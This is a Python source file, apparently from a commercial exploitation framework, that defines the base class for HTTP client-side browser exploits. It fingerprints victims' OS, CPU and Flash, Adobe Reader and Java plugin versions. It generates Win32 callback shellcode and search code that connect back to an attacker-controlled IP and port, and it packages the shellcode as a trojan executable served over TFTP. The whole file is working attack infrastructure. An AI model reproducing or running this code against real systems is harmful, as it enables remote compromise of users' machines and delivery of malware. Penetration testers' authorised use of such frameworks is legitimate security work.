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httpclientside.py
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httpclientside.py
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#! /usr/bin/env python
"""
httpclientside.py
HTTP Client side exploit that works with httpserver (derivated from tcpexploit)
"""
from __future__ import with_statement
import os,getopt
import sys
import re
import socket
from exploitutils import *
from shellcode import shellcodeGenerator
from tcpexploit import tcpexploit
from encoder import chunkedaddencoder
from threading import RLock
from libs.tftpy import *
from libs.ua_parser import user_agent_parser
class httpclientside(tcpexploit):
def __init__(self):
tcpexploit.__init__(self)
self.UserAgent = [ ]
self.searchMethod = self.AcceptAll
self.cangzip=1
self.datatype="binary/octet-stream"
self.mimetype = None
self.plugin_info = None #needed for all http client sides from clientd :>
self.supports_dns_mosdef = False # exploit will set this to True if it supports DNS payload
#shellcode options
self.DNSMOSDEF = False # Updated by clientd
self.HTTPMOSDEF = False
self.move_to_stack = False
self.searchcode_vprotect = True
self.searchcode_mod_stack = True
#two more options for non-searchcode Win32 shellcode
self.vProtect = False
self.vAlloc = False
#set this to true to use SSL MOSDEF
self.useSSLMOSDEF = False
#end shellcode options
#set this if your exploit doesn't have room for http mosdef and you can't get searchcode working. :<
self.nohttpmosdef = False
self.tftpd = None
self.tftpd_lock=RLock()
def done(self):
"""
This is where you turn off all your servers and things you've set up
This is a stub in this object. Overload it in your exploit
if you need to.
"""
devlog("httpclientside", "Done() called. Stub.")
def is_windows(self, info_dict):
parsed = user_agent_parser.Parse(info_dict['user_agent'])
if 'Windows' in parsed['os']['family']:
return True
else:
return False
def is_x86(self, info_dict):
if "plugins" not in info_dict:
return False
arch = info_dict['plugins']['CPU']
if arch == 'x86':
return True
else:
return False
def is_x64(self, info_dict):
if "plugins" not in info_dict:
return False
arch = info_dict['plugins']['CPU']
if arch == 'x64':
return True
else:
return False
def getFlashVersion(self, info_dict):
"""
Returns the versions of Flash used or None, None, None, None
"""
if not info_dict:
return None, None, None, None
if "plugins" not in info_dict:
return None, None, None, None
if "IE Flash" in info_dict['plugins']:
flash = info_dict['plugins']['IE Flash']
version_regex = "([\d.]*\d+)"
match = re.search( version_regex, flash )
if match:
flash_version = match.group(0)
else:
return None, None, None, None
version_list = flash_version.split(".")
try:
major = int(version_list[0])
except IndexError, ValueError:
major = 0
try:
minor = int(version_list[1])
except IndexError, ValueError:
minor = 0
try:
build = int(version_list[2])
except IndexError, ValueError:
build = 0
try:
patch = int(version_list[3])
except IndexError, ValueError:
patch = 0
return major, minor, build, patch
else:
return None, None, None, None
def getReaderVersions(self, info_dict):
"""
Returns the versions of reader used or None, None, None, None
Note: Adobe changed their Firefox plugin name from 8 to 9, so theoretically
we can tell they ARE running 9 if on Firefox 3.5. However, we can't tell
minor/build/patch so we ignore this.
On Firefox 3.0, we get the version from the mimeType.enabledPlugin object.
"""
#some quick bug-checking
if not info_dict:
return None, None, None, None
if "plugins" not in info_dict:
return None, None, None, None
if "IE Adobe Reader" in info_dict['plugins']:
reader = info_dict['plugins']['IE Adobe Reader']
version_regex = "([\d.]*\d+)"
match = re.search( version_regex, reader )
# If there's no match it will throw an exception
try:
reader_version = match.group(0)
except Exception:
return None, None, None, None
version_list = reader_version.split(".")
try:
major = int(version_list[0])
except IndexError, ValueError:
major = 0
try:
minor = int(version_list[1])
except IndexError, ValueError:
minor = 0
try:
build = int(version_list[2])
except IndexError, ValueError:
build = 0
try:
patch = int(version_list[3])
except IndexError, ValueError:
patch = 0
elif 'Mimetype Acrobat Reader' in info_dict["plugins"].keys():
reader_version=info_dict["plugins"]['Mimetype Acrobat Reader']
try:
major,minor,build,patch = reader_version.split(".")
except:
return None, None, None, None
else:
return None, None, None, None
devlog("clientd","Reader: %s, %s, %s, %s"%(major,minor, build,patch))
return int(major), int(minor), int(build), int(patch)
def clientd_init(self):
"""
Runs once when an exploit is selected for a ClientD run. Initializing
servers and other expensive tasks that should be done on a per module
and NOT per-client basis should be done here.
"""
return
def getJavaVersions(self, info_dict):
"""
Gets the java plugin versions
"""
#some quick bug-checking
if not info_dict:
return None, None, None, None
if "plugins" not in info_dict:
return None, None, None, None
if "Java" in info_dict['plugins']:
java = info_dict['plugins']['Java']
version_regex = "([\d.]*\d+)"
match = re.search( version_regex, java )
# If there's no match it will throw an exception
try:
java_version = match.group(0)
except:
return None, None, None, None
version_list = java_version.split(".")
major = int(version_list[0])
minor = int(version_list[1])
build = int(version_list[2])
try:
patch = int(version_list[3])
except IndexError:
patch = 0
return major,minor,build,patch
return None,None,None,None
def isWindowsXP(self, info_dict):
"""
We can get the fact that they are Windows XP many different ways -
1. Java detection
2. User-Agent
3. Javascript detection
4. .Net/Flash
"""
user_agent = info_dict.get('user_agent',"")
if "Java" in info_dict['plugins']:
#this is the most reliable
java = info_dict['plugins']['Java']
if "Windows XP" in java:
devlog("httpclientside", "Found OS to be XP using Java applet")
return True
if "Windows NT 5.1" in user_agent:
devlog("httpclientside", "Found OS to be XP using User_Agent")
return True
devlog("httpclientside", "Not sure that the OS is XP!")
return False
def registerWebDavDirectory(self, share_name):
"""
We need to tell clientd to forward all requests to this share to us!
"""
if not hasattr(self, "sessionstate") or not self.sessionstate:
self.log("Error: No session state - not running from clientd!")
return False
ret = self.sessionstate.registerWebDavDirectory(share_name)
if not ret:
self.log("Failed registering %s as our web dav directory!"%share_name)
return ret #false on failure
def getServerPort(self):
"""
A simple helper routine to get the port the http server is listening on.
This obviously only works through clientd!
"""
if not hasattr(self, "sessionstate") or not self.sessionstate:
self.log("Error: No session state - not running from clientd!")
return None
return self.sessionstate.loader.canvasobj.server_port
def createWin32ClientSideShellcode(self, win8_compatible=False):
"""
Creates a standard Universal Win32 client-side callback shellcode
"""
host = self.callback.ip
port = self.callback.port
self.log("Shellcode calling back to %s:%d"%(host, port))
proxy_payload = ''
if self.HTTPMOSDEF and not self.nohttpmosdef:
import shellcode.standalone.windows.payloads as payloads
p = payloads.payloads()
sc = p.http_proxy(host, port, SSL=self.useSSLMOSDEF)
proxy_payload = p.assemble(sc)
self.log('HTTP MOSDEF payload size: %d bytes' % len(proxy_payload))
self.log('HTTP MOSDEF callback IP: %s PORT: %s SSL: %s' % (host, port, self.useSSLMOSDEF))
else:
self.log("Using TCP callback shellcode (%s:%d)"%(host,port))
self.shellcode = self.createInjectToSelf(host, port,\
injectme=proxy_payload,\
movetostack=self.move_to_stack,
universal=True,
vProtect=self.vProtect,
win8_compatible=win8_compatible,
vAlloc=self.vAlloc)
if len(self.shellcode) % 2:
self.shellcode += 'A'
self.log("Length of shellcode: %s"%len(self.shellcode))
return self.shellcode
def createSearchcode(self):
sc = shellcodeGenerator.win32()
sc.addAttr('SearchCodeSafeSEH', {'tag' : self.tag,
'vprotect' : self.searchcode_vprotect,
'mod_stack' : self.searchcode_mod_stack
}
)
sc.standalone = 1
encoder = chunkedaddencoder.intelchunkedaddencoder()
encoder.setbadstring(self.badstring)
self.searchcode = encoder.encode(sc.get())
self.log("Using SearchCodeSafeSEH. Length %d" % len(self.searchcode))
return self.searchcode
def createWin32ClientsideSearchShellcode(self):
self.tag_str = '\xCA\xFE\xBE\xEF'
self.tag = struct.unpack('<L', self.tag_str)[0]
self.createSearchcode()
self.createWin32ClientSideShellcode()
self.shellcode = self.tag_str + self.shellcode
return
def clientSideListenerTypes(self):
"""
These are always the same.
"""
import canvasengine
if self.DNSMOSDEF: return [canvasengine.DNSMOSDEF]
#sad but sometimes the case (see ie_peers_setattribute)
if self.nohttpmosdef:
return [canvasengine.UNIVERSAL_MOSDEF]
if self.HTTPMOSDEF:
if self.useSSLMOSDEF:
return [canvasengine.HTTPSMOSDEF]
else:
return [canvasengine.HTTPMOSDEF]
else:
return [canvasengine.UNIVERSAL_MOSDEF]
devlog("httpclientside: Should never get here!")
return ["ERROR"]
def createShellcode(self):
return self.createWin32ClientSideShellcode()
def neededListenerTypes(self):
return self.clientSideListenerTypes()
###############################3
#TFTPD Functions
def set_up_tftp_server(self):
"""
Returns False if could not set up the TFTPD server, otherwise, returns the TFTPD object
"""
self.log("building the MOSDEF trojan")
shellcode = self.createShellcode()
#use pelib to build the universal callback shellcode into a trojan .exe
from MOSDEF import pelib
pe = pelib.PElib()
self.mosdeftrojan = pe.createPEFileBuf(shellcode)
self.log("Starting up tftp server")
try:
myServer = TftpServer(allfiles=self.mosdeftrojan)
myServer.listen()
except Exception,msg:
self.log("Failed to set up TFTPD: %s"%msg)
return False
return myServer
def check_tftpd(self):
"""
This is what's run in a thread
"""
while not self.state == self.HALT:
with self.tftpd_lock:
if not self.tftpd:
#done() was called
break
readyinput=self.tftpd.check_sockets()
self.tftpd.handle_active_sockets()
self.log("Halted TFTPD")
return
def shutdown_tftpd(self):
"""
Turns off TFTPD so another exploit can use it.
Called from done() function usually.
"""
with self.tftpd_lock:
if self.tftpd:
self.log("Shutting down our TFTPD")
self.tftpd.close()
self.tftpd=None
#end TFTPD functions
##########################
def AcceptAll(self, useragent):
self.log("Accepting any useragent: %s"%prettyprint(useragent))
return 1
def SearchBrowserType(self, useragent):
self.log("Searching browser type for %s"%(str(useragent)))
(type, version) = self.getBrowser(useragent)
if not type and not version:
return 0
type=type.replace(" ","")
#print "Type=%s"%type
self.log("Browser type=%s"%type)
for a in self.UserAgent:
if a == type:
return 1
return 0
def SearchBrowserVersion(self, useragent):
self.log("Searching browser version")
(type, version) = self.getBrowser(useragent)
if not type and not version:
return 0
version=version.replace(" ","") #ignore spaces here
self.log("Target version: %s"%version)
for a in self.UserAgent:
if a == version:
return 1
return 0
def CmpAnyTag(self, useragent):
self.log("Comparing any tag: %s"%prettyprint(useragent))
(browser, tags, extrainfo) = useragent
for a in self.UserAgent:
if a == tags:
return 1
return 0
def CmpBrowser_CmpAnyTag_CmpExtraInfo(self, useragent):
self.log("CmpBrowser_CmpAny_CmpExtraInfo %s"%useragent)
(browser, tags, extrainfo) = useragent
for a in self.UserAgent:
(a_type, a_tag, a_extrainfo) = a
if browser == a_type and extrainfo == a_extrainfo and a_tag in tags:
return 1
return 0
def CmpBrowser_FindAnyTag_CmpExtraInfo(self, useragent):
(browser, tags, extrainfo) = useragent
for a in self.UserAgent:
(a_type, a_tag, a_extrainfo) = a
if browser == a_type and extrainfo == a_extrainfo:
for a in tags:
if a.find(a_tag)>-1:
return 1
return 0
def FindBrowser_FindAnyTag_CmpExtraInfo(self, useragent):
# XXX: fix for init from CheckUserAgent("") httpserver.py
if useragent == "":
return 0
if len(useragent)<3:
return 0
(browser, tags, extrainfo) = useragent
for a in self.UserAgent:
#print "Useragent value: %s"%str(a)
(a_type, a_tag, a_extrainfo) = a
if browser.find(a_type) > -1 and extrainfo == a_extrainfo:
for a in tags:
#print "Tag: %s"%a
if a.find(a_tag)>-1:
return 1
#print "Tag %s not found in %s"%(a, a_tag)
return 0
def CmpAnyTags(self, useragent):
self.log("CmpAnyTags")
(browser, tags, extrainfo) = useragent
for a in self.UserAgent:
if a in tags:
return 1
return 0